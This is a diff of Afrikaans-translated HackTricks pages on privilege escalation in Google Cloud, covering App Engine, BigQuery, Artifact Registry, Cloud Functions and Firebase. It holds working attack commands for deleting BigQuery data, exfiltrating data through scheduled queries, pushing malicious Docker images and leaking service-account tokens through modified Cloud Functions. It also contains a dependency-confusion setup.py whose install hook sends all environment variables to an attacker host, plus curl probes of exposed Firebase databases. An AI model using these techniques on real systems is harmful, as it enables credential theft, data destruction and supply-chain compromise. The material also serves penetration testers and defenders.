+Ek dink dit verander net die agtergrond-SA wat google sal gebruik om die toepassings op te stel, so ek dink nie jy kan dit misbruik om die service account te steel nie.
+```bash
+gcloud app update --service-account=<sa_email>
+```
+### `appengine.versions.getFileContents`, `appengine.versions.update`
+
+Ek is nie seker hoe om hierdie toestemmings te gebruik of of hulle nuttig is nie (let wel: wanneer jy die kode verander word 'n nuwe weergawe geskep, so ek weet nie of jy net die kode kan opdateer of die IAM-rol van een kan verander nie; maar ek vermoed dit behoort moontlik te wees — dalk deur die kode binne die bucket te verander??).
+
+### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
+
+Om tabelle, datastelle of modelle te verwyder:
+```bash
+# Table removal
+bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
+
+# Dataset removal
+bq rm -r -f <PROJECT_ID>:<DATASET>
+
+# Model removal
+bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
+```
+### Misbruik van Scheduled Queries
+
+Met die `bigquery.datasets.get`, `bigquery.jobs.create`, en `iam.serviceAccounts.actAs` toestemmings kan 'n identiteit dataset-metadata navraag doen, BigQuery-jobs begin, en dit uitvoer met 'n Service Account met hoër bevoegdhede.
+
+Hierdie aanval maak kwaadwillige gebruik van Scheduled Queries moontlik om navrae te outomatiseer (uitgevoer onder die gekose Service Account), wat byvoorbeeld kan lei tot sensitiewe data wat gelees en in 'n ander tabel of dataset geskryf word waartoe die aanvaller wel toegang het — wat indirekte en voortdurende exfiltration vergemaklik sonder om die data ekstern te hoef te onttrek.
+
+Sodra die aanvaller weet watter Service Account die nodige toestemmings het om die gewenste navraag uit te voer, kan hulle 'n Scheduled Query-konfigurasie skep wat met daardie Service Account loop en periodiek die resultate in 'n dataset skryf van hul keuse.
+```bash
+bq mk \
+--transfer_config \
+--project_id=<PROJECT_ID> \
+--location=US \
+--data_source=scheduled_query \
+--target_dataset=<DEST_DATASET> \
+--display_name="Generic Scheduled Query" \
+--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
+--schedule="every 10 minutes" \
+--params='{
+"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
+"destination_table_name_template": "<destination_table>",
+"write_disposition": "WRITE_TRUNCATE"
+}'
+
+```
+### Skryf toegang oor die buckets
+
+Soos vermeld genereer die appengine versions sekere data binne 'n bucket met die formaatnaam: `staging.<project-id>.appspot.com`. Neem kennis dat dit nie moontlik is om hierdie bucket vooraf oor te neem nie omdat GCP-gebruikers nie gemagtig is om buckets te genereer met die domeinnaam `appspot.com` nie.
+
+Echter, met read & write toegang tot hierdie bucket is dit moontlik om privilegies op te skaal na die SA attached to the AppEngine version deur die bucket te monitor en, enige keer as 'n verandering uitgevoer word, die code so vinnig as moontlik te wysig. Op hierdie manier sal die container wat uit hierdie code geskep word **execute the backdoored code**.
+
+Vir meer inligting en 'n **PoC check the relevant information from this page**:

 {{#ref}}
-gcp-serviceusage-privesc.md
+gcp-storage-privesc.md
 {{#endref}}

-### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
+### Skryf toegang oor die Artifact Registry

-Aangesien jy dalk nie weet watter APIs in die projek geaktiveer is of watter beperkings op die API key wat jy gevind het toegepas is nie, is dit interessant om die hulpmiddel [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) te laat loop en te kontroleer **wat jy met die API key kan benader.**
-
-### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
-
-Hierdie toestemming laat toe om 'n **API key te skep**:
-
-<details>
-<summary>Skep 'n API key met gcloud</summary>
-```bash
-gcloud services api-keys create
-Operation [operations/akmf.p7-[...]9] complete. Result: {
-"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
-"createTime":"2022-01-26T12:23:06.281029Z",
-"etag":"W/\"HOhA[...]=\"",
-"keyString":"AIzaSy[...]oU",
-"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
-"uid":"f707[...]e8",
-"updateTime":"2022-01-26T12:23:06.378442Z"
-}
-```
-</details>
-
-Jy kan 'n skrip vind om die [**skep, exploit en skoonmaak van 'n vuln-omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
-
-> [!CAUTION]
-> Let wel dat gebruikers standaard toestemming het om nuwe projekte te skep en hulle word die Owner-rol oor die nuwe projek gegee. Dus kan 'n gebruiker c**skep 'n projek en 'n API-sleutel binne hierdie projek**.
-
-### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
-
-Hierdie permissies laat toe om **alle apiKeys te lys en die Key te kry**:
-
-<details>
-<summary>Lys en haal alle API-sleutels op</summary>
-```bash
-for  key  in  $(gcloud services api-keys list --uri); do
-gcloud services api-keys get-key-string "$key"
-done
-```
-</details>
-
-Jy kan 'n skrip vind om die [**skep, exploit en skoonmaak van 'n vuln environment hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh) te outomatiseer.
-
-### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
-
-Hierdie toestemmings laat jou toe om **verwyderde api keys te lys en te hergenereer**. Die **API key word in die output gegee** nadat die **undelete** voltooi is:
-
-<details>
-<summary>Lys en herstel verwyderde API keys</summary>
-```bash
-gcloud services api-keys list --show-deleted
-gcloud services api-keys undelete <key-uid>
-```
-</details>
-
-### Skep 'n interne OAuth-toepassing om ander werknemers te phish
-
-Kyk na die volgende bladsy om te leer hoe om dit te doen, alhoewel hierdie aksie behoort tot die diens **`clientauthconfig`** [volgens die dokumentasie](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
-
-{{#ref}}
-../../workspace-security/gws-google-platforms-phishing/
-{{#endref}}
+Alhoewel App Engine docker images binne Artifact Registry skep. Dit is getoets dat **even if you modify the image inside this service** en die App Engine instance verwyder (so 'n nuwe een is deployed) die **code executed doesn't change**.\ It might be possible that performing a **Race Condition attack like with the buckets it might be possible to overwrite the executed code**, maar dit is nie getoets nie.

 {{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@

 ## Artifact Registry

-Vir meer inligting oor Artifact Registry sien:
+Vir meer inligting oor Artifact Registry kyk:

 {{#ref}}
 ../gcp-services/gcp-artifact-registry-enum.md
@@ -12,10 +12,10 @@ Vir meer inligting oor Artifact Registry sien:

 ### artifactregistry.repositories.uploadArtifacts

-Met hierdie toestemming kan 'n aanvaller nuwe weergawes van die artefakte met kwaadwillige kode, soos Docker-images, oplaai:
+Met hierdie permisie kan 'n aanvaller nuwe weergawes van die artefakte met kwaadaardige kode soos Docker-beeld oplaaI:

 <details>
-<summary>Laai Docker-image op na Artifact Registry</summary>
+<summary>Laai Docker-beeld na Artifact Registry op</summary>
 ```bash
 # Configure docker to use gcloud to authenticate with Artifact Registry
 gcloud auth configure-docker <location>-docker.pkg.dev
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
 </details>

 > [!CAUTION]
-> Daar is getoets dat dit **moontlik is om 'n nuwe kwaadwillige docker** image op te laai met dieselfde naam en tag as die een wat reeds bestaan, sodat die **oude een die tag sal verloor** en die volgende keer dat daardie image met daardie tag **afgehaal word die kwaadwillige een afgelaai sal word**.
+> Daar is bevestig dat dit **moontlik is om 'n nuwe kwaadwillige docker image op te laai** met dieselfde naam en tag as die een wat reeds bestaan, sodat die **oude image die tag sal verloor** en die volgende keer dat daardie image met daardie tag **afgelaai word, die kwaadwillige weergawe afgelaai sal word**.

 <details>

 <summary>Laai 'n Python-biblioteek op</summary>

-**Begin deur die biblioteek te skep wat jy wil oplaai** (as jy die nuutste weergawe van die registry kan aflaai kan jy hierdie stap oorskiet):
+**Begin deur die biblioteek wat opgelaai gaan word te skep** (as jy die nuutste weergawe uit die registry kan aflaai, kan jy hierdie stap oorslaan):

 1.  **Stel jou projekstruktuur op**:

- Skep 'n nuwe gids vir jou biblioteek, bv. `hello_world_library`.
- Binne hierdie gids, skep nog 'n gids met jou pakketnaam, bv. `hello_world`.
- Binne jou pakketgids, skep 'n `__init__.py`-lêer. Hierdie lêer kan leeg wees of inisialisasies vir jou pakket bevat.
+- Skep 'n nuwe gids vir jou biblioteek, bv., `hello_world_library`.
+- Binne hierdie gids, skep nog 'n gids met jou pakketnaam, bv., `hello_world`.
+- Binne jou pakket-gids, skep 'n `__init__.py`-lêer. Hierdie lêer kan leeg wees of inisialisasies vir jou pakket bevat.

 <details>
-<summary>Create project structure</summary>
+<summary>Skep projekstruktuur</summary>

 ```bash
 mkdir hello_world_library
@@ -57,11 +57,11 @@ touch hello_world/__init__.py

 2.  **Skryf jou biblioteekkode**:

- Binne die `hello_world`-gids, skep 'n nuwe Python-lêer vir jou module, bv. `greet.py`.
+- Binne die `hello_world` gids, skep 'n nuwe Python-lêer vir jou module, bv., `greet.py`.
 - Skryf jou "Hello, World!"-funksie:

 <details>
-<summary>Create library module</summary>
+<summary>Skep biblioteekmodule</summary>

 ```python
 # hello_world/greet.py
@@ -77,7 +77,7 @@ return "Hello, World!"
 - Hierdie lêer bevat metadata oor jou biblioteek en vertel Python hoe om dit te installeer.

 <details>
-<summary>Create setup.py file</summary>
+<summary>Skep setup.py-lêer</summary>

 ```python
 # setup.py
@@ -102,7 +102,7 @@ install_requires=[
 - Vanaf die wortel van jou `hello_world_library`-gids, voer uit:

 <details>
-<summary>Build Python package</summary>
+<summary>Bou Python-pakket</summary>

 ```sh
 python3 setup.py sdist bdist_wheel
@@ -110,12 +110,12 @@ python3 setup.py sdist bdist_wheel

 </details>

-2.  **Konfigureer verifikasie vir twine** (wat gebruik word om jou pakket op te laai):
+2.  **Konfigureer authenticatie vir twine** (gebruik om jou pakket op te laai):
 - Maak seker jy het `twine` geïnstalleer (`pip install twine`).
- Gebruik `gcloud` om geloofsbriewe te konfigureer:
+- Gebruik `gcloud` om credentials te konfigureer:

 <details>
-<summary>Upload package with twine</summary>
+<summary>Laai pakket op met twine</summary>
 ```sh
 twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
 ```
@@ -133,10 +133,10 @@ rm -rf dist build hello_world.egg-info
 </details>

 > [!CAUTION]
-> Dit is nie moontlik om 'n python-biblioteek met dieselfde weergawe as die een wat reeds daar is op te laai nie, maar dit is moontlik om **hoër weergawes** op te laai (of 'n ekstra **`.0` aan die einde** van die weergawe by te voeg indien dit werk — nie in python nie), of om die **laaste weergawe te verwyder en 'n nuwe een op te laai** (benodig `artifactregistry.versions.delete`): 
+> Dit is nie moontlik om 'n python library met dieselfde weergawe as die een wat reeds teenwoordig is op te laai nie, maar dit is moontlik om **hogere weergawes** op te laai (of om 'n ekstra **`.0` aan die einde** van die weergawe by te voeg as dit werk — nie in python egter —), of om die **laaste weergawe te verwyder en 'n nuwe een op te laai** (benodig `artifactregistry.versions.delete`):**
 >
 > <details>
-> <summary>Verwyder artefakweergawe</summary>
+> <summary>Verwyder artifact-weergawe</summary>
 >
 > ```sh
 > gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
@@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info

 ### `artifactregistry.repositories.downloadArtifacts`

-Met hierdie toestemming kan jy **artefakte aflaai** en soek na **sensitiewe inligting** en **kwesbaarhede**.
+Met hierdie toestemming kan jy **artefakte aflaai** en soek na **gevoelige inligting** en **kwesbaarhede**.

-Laai 'n **Docker** beeld af:
+Laai 'n **Docker**-beeld af:

 <details>
-<summary>Laai Docker-beeld van Artifact Registry af</summary>
+<summary>Laai 'n Docker-beeld van Artifact Registry af</summary>
 ```sh
 # Configure docker to use gcloud to authenticate with Artifact Registry
 gcloud auth configure-docker <location>-docker.pkg.dev
@@ -164,13 +164,13 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
 Laai 'n **python**-biblioteek af:

 <details>
-<summary>Laai Python-biblioteek vanaf Artifact Registry af</summary>
+<summary>Laai 'n Python-biblioteek van Artifact Registry af</summary>
 ```bash
 pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
 ```
 </details>

- Wat gebeur as 'n remote- en 'n standaard-register in 'n virtuele een gemeng word en 'n pakket in albei bestaan? Kyk hierdie bladsy:
+- Wat gebeur as 'n remote en 'n standard registries in 'n virtual een gemeng word en 'n pakket in albei bestaan? Kyk hierdie bladsy:

 {{#ref}}
 ../gcp-persistence/gcp-artifact-registry-persistence.md
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin

 ### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)

-Verwyder artefakte uit die register, soos Docker images:
+Verwyder artefakte uit die registry, soos Docker images:

 <details>
-<summary>Verwyder Docker image vanaf Artifact Registry</summary>
+<summary>Verwyder Docker image van Artifact Registry</summary>
 ```bash
 # Delete a docker image
 gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>

 ### `artifactregistry.repositories.setIamPolicy`

-'n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorafgenoemde repository-aanvalle uit te voer.
+'n Aanvaller met hierdie toestemming kan homself toestemmings gee om sommige van die voorheen genoemde repository-aanvalle uit te voer.

-### Pivoting na ander dienste deur Artifact Registry Read & Write
+### Pivoting to other Services through Artifact Registry Read & Write

 - **Cloud Functions**

-Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gestoot. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie; die Cloud Function het voortgegaan om te werk. Daarom is dit dalk moontlik om 'n **Race Condition attack** te misbruik soos met die bucket om die docker container wat uitgevoer sal word te verander, maar **slegs die wysiging van die gestoorde image maak nie die Cloud Function kwesbaar nie**.
+Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie — die Cloud Function het steeds gewerk. Daarom mag dit dalk moontlik wees om 'n **Race Condition attack** te misbruik soos met die bucket om die docker-container wat uitgevoer sal word te verander, maar **slegs die stoor-image te wysig is nie genoeg om die Cloud Function te kompromitteer nie**.

 - **App Engine**

-Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat **selfs as jy die image binne hierdie diens wysig** en die App Engine-instance verwyder (sodat 'n nuwe een gedeploy word), die **uitgevoerde kode nie verander nie**.\
-Dit mag moontlik wees dat deur 'n **Race Condition attack soos met die buckets dit moontlik is om die uitgevoerde kode oor te skryf**, maar dit is nie getoets nie.
+Alhoewel App Engine docker images binne Artifact Registry skep, is dit getoets dat **selfs as jy die image binne hierdie diens wysig** en die App Engine-instansie verwyder (sodat 'n nuwe een gedeploy word), die **uitgevoerde kode nie verander nie**.\
+Dit mag moontlik wees dat deur 'n **Race Condition attack** soos met die buckets die uitgevoerde kode oor geskryf kan word, maar dit is nie getoets nie.
+
+
+### `artifactregistry.repositories.update`
+'n Aanvaller het nie spesifieke Artifact Registry-toestemmings nodig om hierdie probleem te benut nie — slegs 'n kwesbare virtual-repository konfigurasie. Dit gebeur wanneer 'n virtual repository 'n remote public repository (bv. PyPI, npm) met 'n interne een kombineer, en die remote bron gelyke of hoër prioriteit het. As beide 'n pakket met dieselfde naam bevat, kies die stelsel die hoogste weergawe. Die aanvaller hoef net die interne pakketnaam te ken en in staat te wees om pakkette na die ooreenstemmende public registry te publiseer.
+
+Met die `artifactregistry.repositories.update` toestemming kan 'n aanvaller die upstream-instellings van 'n virtual repository verander om doelbewus hierdie kwesbare opstelling te skep en Dependency Confusion as 'n persistentiemetode te gebruik deur kwaadwillige pakkette in te voeg wat ontwikkelaars of CI/CD-stelsels moontlik outomaties gaan installeer.
+
+Die aanvaller skep 'n kwaadwillige weergawe van die interne pakket in die public repository met 'n hoër weergawe nommer. Vir Python-pakkette beteken dit om 'n pakketstruktuur voor te berei wat die regmatige een naboots.
+```bash
+mkdir /tmp/malicious_package
+cd /tmp/malicious_package
+PACKAGE_NAME="<package-name>"
+mkdir "$PACKAGE_NAME"
+touch "$PACKAGE_NAME/__init__.py"
+```
+Daar word dan 'n setup.py-lêer geskep wat kwaadwillige kode bevat wat tydens die installasie uitgevoer sal word. Hierdie lêer moet 'n weergawenommer spesifiseer wat hoër is as dié in die private repository.
+```bash
+cat > setup.py << 'EOF'
+import setuptools
+from setuptools.command.install import install
+import os
+import urllib.request
+import urllib.parse
+
+def malicious_function():
+data = dict(os.environ)
+encoded_data = urllib.parse.urlencode(data).encode()
+url = 'https://<ip-atacante>/exfil'
+req = urllib.request.Request(url, data=encoded_data)
+urllib.request.urlopen(req)
+
+class AfterInstall(install):
+def run(self):
+install.run(self)
+malicious_function()
+
+setuptools.setup(
+name = "<package-name>",
+version = "0.1.1",
+packages = ["<package-name>"],
+cmdclass={'install': AfterInstall},
+)
+EOF
+```
+Bou die pakket en verwyder die wheel om te verseker dat die kode tydens installasie uitgevoer word.
+```bash
+python3 setup.py sdist bdist_wheel
+rm dist/<package-name>*.whl
+```
+Laai die kwaadwillige pakket op na die openbare repository (byvoorbeeld test.pypi.org vir Python).
+```bash
+pip install twine
+twine upload --repository testpypi dist/*
+```
+Wanneer 'n stelsel of diens die pakket installeer deur die virtual repository te gebruik, sal dit die kwaadwillige weergawe vanaf die public repository aflaai in plaas van die wettige interne een, omdat die kwaadwillige weergawe hoër is en die remote repository gelyk of hoër prioriteit het.

 {{#include ../../../banners/hacktricks-training.md}}
@@ -12,21 +12,19 @@ Meer inligting oor Cloud Functions:

 ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

-'n aanvaller met hierdie privileges kan **'n nuwe Cloud Function skep met arbitrêre (malicious) kode en dit 'n Service Account toewys**. Daarna, leak die Service Account token vanaf die metadata om privileges daarop op te skaal.\
-Sommige privileges om die funksie te trigger mag vereis word.
+'n Aanvaller met hierdie voorregte kan **'n nuwe Cloud Function met arbitrêre (kwaadaardige) kode skep en dit 'n Service Account toewys**. Dan, leak the Service Account token from the metadata om voorregte daartoe te eskaleer.\
+Sommige voorregte om die funksie te trigger mag benodig word.

-Exploit scripts vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) en [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) en die voorafgeboude .zip lêer kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
+Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

 ### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

-'n aanvaller met hierdie privileges kan **die kode van 'n Function wysig en selfs die aangehegte service account wysig** met die doel om die token te exfiltrate.
+'n Aanvaller met hierdie voorregte kan **die kode van 'n Function wysig en selfs die aangehegte service account verander** met die doel om die token te exfiltrating.

 > [!CAUTION]
-> Om Cloud Functions te deploy sal jy ook actAs-permissies nodig hê op die default compute service account of op die service account wat gebruik word om die image te bou.
+> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.

-Sommige ekstra privileges soos die `.call` permission vir version 1 cloudfunctions of die rol `role/run.invoker` om die funksie te trigger mag vereis wees.
-
-<details><summary>Werk Cloud Function by met kwaadwillige kode om die service account token te exfiltrate</summary>
+Sommige ekstra voorregte soos die `.call` permission vir version 1 cloudfunctions of die rol `role/run.invoker` om die funksie te trigger mag benodig word.
 ```bash
 # Create new code
 temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
 # Get SA token calling the new function code
 gcloud functions call <cloudfunction-name>
 ```
-</details>
-
 > [!CAUTION]
-> As jy die fout `Permission 'run.services.setIamPolicy' denied on resource...` kry, is dit omdat jy die `--allow-unauthenticated` param gebruik en jy nie genoeg permissies daarvoor het nie.
+> As jy die fout `Permission 'run.services.setIamPolicy' denied on resource...` kry, is dit omdat jy die `--allow-unauthenticated` param gebruik en jy nie genoeg toestemmings daarvoor het nie.

 Die exploit script vir hierdie metode kan gevind word [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

 ### `cloudfunctions.functions.sourceCodeSet`

-Met hierdie toestemming kan jy 'n **signed URL kry om 'n lêer na 'n function bucket op te laai (maar die kode van die function sal nie verander word nie, jy moet dit steeds bywerk)**
-
-<details><summary>Generate signed upload URL for Cloud Function</summary>
+Met hierdie toestemming kan jy 'n **ondertekende URL kry om 'n lêer na 'n function bucket op te laai (maar die kode van die funksie sal nie verander word nie, jy moet dit steeds bywerk)**
 ```bash
 # Generate the URL
 curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,21 +69,32 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
 -H "Content-Type: application/json" \
 -d '{}'
 ```
-</details>
-
-Nie regtig seker hoe nuttig net hierdie toestemming vanuit 'n aanvaller's perspektief is nie, maar goed om te weet.
+Nie heeltemal seker hoe nuttig slegs hierdie toestemming vanuit 'n attackers-perspektief is nie, maar goed om te weet.

 ### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`

-Gee jouself enige van die vorige **`.update`** of **`.create`** voorregte om te eskaleer.
-
+Gee jouself enige van die vorige **`.update`** of **`.create`** privileges om te escalate.
+```bash
+gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
+--region=<REGION> \
+--member="<MIEMBRO>" \
+--role="roles/cloudfunctions.invoker"
+```
 ### `cloudfunctions.functions.update`

-As jy slegs **`cloudfunctions`**-toestemmings het, sonder **`iam.serviceAccounts.actAs`**, sal jy nie die funksie kan opdateer nie, SO THIS IS NOT A VALID PRIVESC.
+As jy slegs **`cloudfunctions`** toestemmings het, sonder **`iam.serviceAccounts.actAs`**, sal jy **nie die funksie kan opdateer nie — DIT IS DUS NIE 'N GELDIGE PRIVESC NIE.**

-### Read & Write Access over the bucket
+### Funksies aanroep
+Met die `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, en run.routes.invoke toestemmings, kan 'n identiteit direk Cloud Functions aanroep. Dit is ook nodig dat die funksie openbare verkeer toelaat, of dat die oproeper in dieselfde netwerk as die funksie self is.
+```bash
+curl -X POST "https://<FUNCTION_URL>" \
+-H "Authorization: bearer $(gcloud auth print-identity-token)" \
+-H "Content-Type: application/json" \
+-d '{  "name": "Developer" }'
+```
+### Lees- en skryftoegang oor die bucket

-As jy lees- en skryftoegang tot die bucket het, kan jy veranderinge in die kode monitor en wanneer 'n **update in die bucket plaasvind, kan jy die nuwe kode vervang met jou eie kode** sodat die nuwe weergawe van die Cloud Function met die ingesmokkelde backdoored code uitgevoer sal word.
+Indien jy lees- en skryftoegang oor die bucket het, kan jy veranderinge in die code monitor, en telkens wanneer 'n **update in die bucket plaasvind kan jy die nuwe code vervang met jou eie code** sodat die nuwe weergawe van die Cloud Function met die ingediende backdoored code uitgevoer sal word.

 Jy kan meer oor die aanval sien in:

@@ -97,16 +102,16 @@ Jy kan meer oor die aanval sien in:
 gcp-storage-privesc.md
 {{#endref}}

-Jy kan dit egter nie gebruik om derdeparty Cloud Functions vooraf te kompromitteer nie, want as jy die bucket in jou rekening skep en dit publieke toestemmings gee sodat die eksterne projek daaroor kan skryf, kry jy die volgende fout:
+Dit kan egter nie gebruik word om derdeparty Cloud Functions vooraf te kompromitteer nie, want as jy die bucket in jou rekening skep en dit openbare toestemmings gee sodat die eksterne projek daaroor kan skryf, kry jy die volgende fout:

 <figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>

 > [!CAUTION]
-> Daarteen, dit kan egter gebruik word vir DoS attacks.
+> Dit kan egter gebruik word vir DoS attacks.

-### Read & Write Access over Artifact Registry
+### Lees- en skryftoegang oor Artifact Registry

-Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image te vervang met 'n nuwe een, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie — die Cloud Function het voortgegaan om te werk. Daarom mag dit moontlik wees om 'n Race Condition attack te misbruik, soos met die bucket, om die docker container wat uitgevoer sal word te verander, maar net die gestoor image aan te pas is nie genoeg om die Cloud Function te kompromitteer nie.
+Wanneer 'n Cloud Function geskep word, word 'n nuwe docker image na die Artifact Registry van die projek gepush. Ek het probeer om die image met 'n nuwe een te wysig, en selfs die huidige image (en die `cache` image) te verwyder, maar niks het verander nie — die Cloud Function het voortgegaan om te werk. Daarom mag dit dalk moontlik wees om 'n Race Condition attack te misbruik, soos met die bucket, om die docker container wat uitgevoer sal word te verander, maar **net die gestoorde image wysig is nie genoeg om die Cloud Function te kompromitteer nie**.

 ## Verwysings

@@ -0,0 +1,447 @@
+# GCP - Firebase Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Firebase
+
+### Onautentiseerde toegang tot Firebase Realtime Database
+'n Aanvaller het geen spesifieke Firebase-permissies nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar 'n kwesbare konfigurasie in die Firebase Realtime Database sekuriteitsreëls is, waar die reëls gestel is met `.read: true` of `.write: true`, wat openbare lees- of skryftoegang toelaat.
+
+Die aanvaller moet die databasis-URL identifiseer, wat gewoonlik die formaat volg: `https://<project-id>.firebaseio.com/`.
+
+Hierdie URL kan gevind word deur mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), deur konfigurasielêers soos google-services.json (Android) of GoogleService-Info.plist (iOS) te ontleed, deur die bronkode van webtoepassings te inspekteer, of deur netwerkverkeer te ondersoek om versoeke na `*.firebaseio.com` domeine te identifiseer.
+
+Die aanvaller identifiseer die databasis-URL en kontroleer of dit openbaar blootgestel is, en kan dan toegang tot die data kry en moontlik kwaadwillige inligting skryf.
+
+Eerstens kontroleer hulle of die databasis lees-toegang toelaat deur .json aan die URL te heg.
+```bash
+curl https://<project-id>-default-rtdb.firebaseio.com/.json
+```
+As die antwoord JSON data of null bevat (in plaas van "Permission Denied"), laat die databasis lees toegang toe. Om skryf toegang te kontroleer, kan die attacker probeer om 'n toets-skryfversoek te stuur met die Firebase REST API.
+```bash
+curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
+```
+As die operasie slaag, verleen die databasis ook skryftoegang.
+
+
+### Blootstelling van data in Cloud Firestore
+'n Aanvaller het geen spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar 'n kwesbare konfigurasie in die Cloud Firestore-sekuriteitsreëls is waar die reëls lees- of skryftoegang toelaat sonder outentisering of met onvoldoende validasie. 'n Voorbeeld van 'n verkeerd gekonfigureerde reël wat volle toegang verleen, is:
+```bash
+service cloud.firestore {
+match /databases/{database}/documents/{document=**} {
+allow read, write: if true;
+}
+}
+```
+Hierdie reël laat enigiemand toe om alle dokumente te lees en te skryf sonder enige beperkinge. Firestore reëls is fynkorrelig en geld per versameling en dokument, dus kan 'n fout in 'n spesifieke reël slegs sekere versamelings blootstel.
+
+Die aanvaller moet die Firebase Project ID identifiseer, wat gevind kan word deur mobile app reverse engineering, ontleding van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van die bronkode van webtoepassings, of analise van netwerkverkeer om versoeke na firestore.googleapis.com te identifiseer.
+Die Firestore REST API gebruik die formaat:
+```bash
+https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+As die reëls ongemagtigde lees-toegang toelaat, kan die aanvaller versamelings en dokumente lees. Eerstens probeer hulle toegang tot 'n spesifieke versameling:
+```bash
+curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
+```
+As die reaksie JSON-dokumente bevat in plaas van 'n toestemmingsfout, is die versameling blootgestel. Die aanvaller kan alle toeganklike versamelings enumereer deur algemene name te probeer of die struktuur van die toepassing te ontleed. Om toegang tot 'n spesifieke dokument te kry:
+```bash
+curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
+```
+As die reëls ongeauthentiseerde skryftoegang toelaat of onvoldoende validering het, kan die aanvaller nuwe dokumente skep:
